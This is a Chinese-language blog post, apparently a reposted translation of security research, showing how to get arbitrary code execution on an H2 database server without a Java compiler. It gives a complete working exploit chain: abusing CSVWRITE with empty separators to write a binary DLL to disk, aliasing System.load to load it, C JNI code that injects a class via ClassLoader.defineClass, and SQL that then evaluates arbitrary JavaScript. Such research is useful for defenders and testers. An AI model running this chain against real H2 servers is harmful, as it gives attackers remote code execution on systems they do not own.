如何利用原生库和JNI实现H2数据库漏洞利用
本篇文章给大家分享的是有关如何利用原生库和JNI实现H2数据库漏洞利用,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
介绍
通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。
H2 能力评估
假设我们不能使用CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。
但是,CREATE ALIAS … FOR … 命令可以使用:
当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。
因此各个公共静态方法都可以使用。最坏的情况是,只有h3-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。
在Java运行时库rt.jar中浏览candidates时,我们发现System.load(String)方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。
但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?
使用 H2 写入任意文件
在查看和研究了一些H2函数后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是在1.4.190中引入的。而我们需要的是在1.2.141中可用的函数。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。
快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,writeColumnHeader选项仅被添加在了1.3/1.4.177上。
但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。
查看H2的列语法,列的columnName可以是带引号的名称,定义如下:
" anything "
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。
这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。
首先,让我们生成涵盖所有8-bit octet的测试数据:
$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin $ sha1sum test.bin 4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin
现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:
xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'
然后,我们在以下CSVWRITE调用中使用它:
SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');
最后,我们测试写入的文件是否具有相同的校验和:
C:\Windows\Temp> certutil -hashfile test.bin SHA1 SHA1 hash of file test.bin: 49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8 CertUtil: -hashfile command completed successfully.
可以看到,文件应该是相同的!
进入原生世界
既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。
让我们更进一步,看看是否有办法从SQL执行任意命令/代码。
Java Native Interface(JNI)允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。
现在,我的想法是使用JNI通过ClassLoader.defineClass(byte[], int, int)将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。
使用 JNI 调用 JVM
首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs函数来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。 使用该指针,我们可以与JVM交互并调用JNI函数,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStatic<Type>Method/Call<Type>Method。 计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:
// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/' // public static JNIScriptEngine.eval(String js) : String char buf[] = { /* ... */ }; size_t bufLen = sizeof(buf); jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen); (*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf); JNIEnv * g_env; JavaVM* g_vm; jsize num_vms = 0; jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms); int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6); if (getEnvStat == JNI_EDETACHED) { // printf("GetEnv: not attached\n"); if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) { // printf("Failed to attach\n"); } } else if (getEnvStat == JNI_OK) { // printf("GetEnv: everything's fine\n"); } else if (getEnvStat == JNI_EVERSION) { // printf("GetEnv: version not supported\n"); } jclass cls; jmethodID meth; jobject obj; cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader"); // static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;"); jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth); // java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;"); jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen); (*g_env)->DeleteLocalRef(g_env, jData); (*g_vm)->DetachCurrentThread(g_vm);
这基本上是模仿了以下Java代码:
Class cls = Class.forName("java.lang.ClassLoader"); Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]); Object systemClassLoader = meth.invoke(null, new Object[0]); meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class }); meth.setAccessible(true); meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });
自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:
public class JNIScriptEngine { public static String eval(String script) throws Exception { return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString(); } }
最终,整合在一起的代码如下:
-- write native library SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', ''); -- load native library CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load"; CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll'); -- evaluate script CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval"; CALL JNIScriptEngine_eval('7*191');
这样我们就可以从SQL执行任意的JavaScript代码了。
以上就是如何利用原生库和JNI实现H2数据库漏洞利用,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注蜗牛博客行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:niceseo99@gmail.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
评论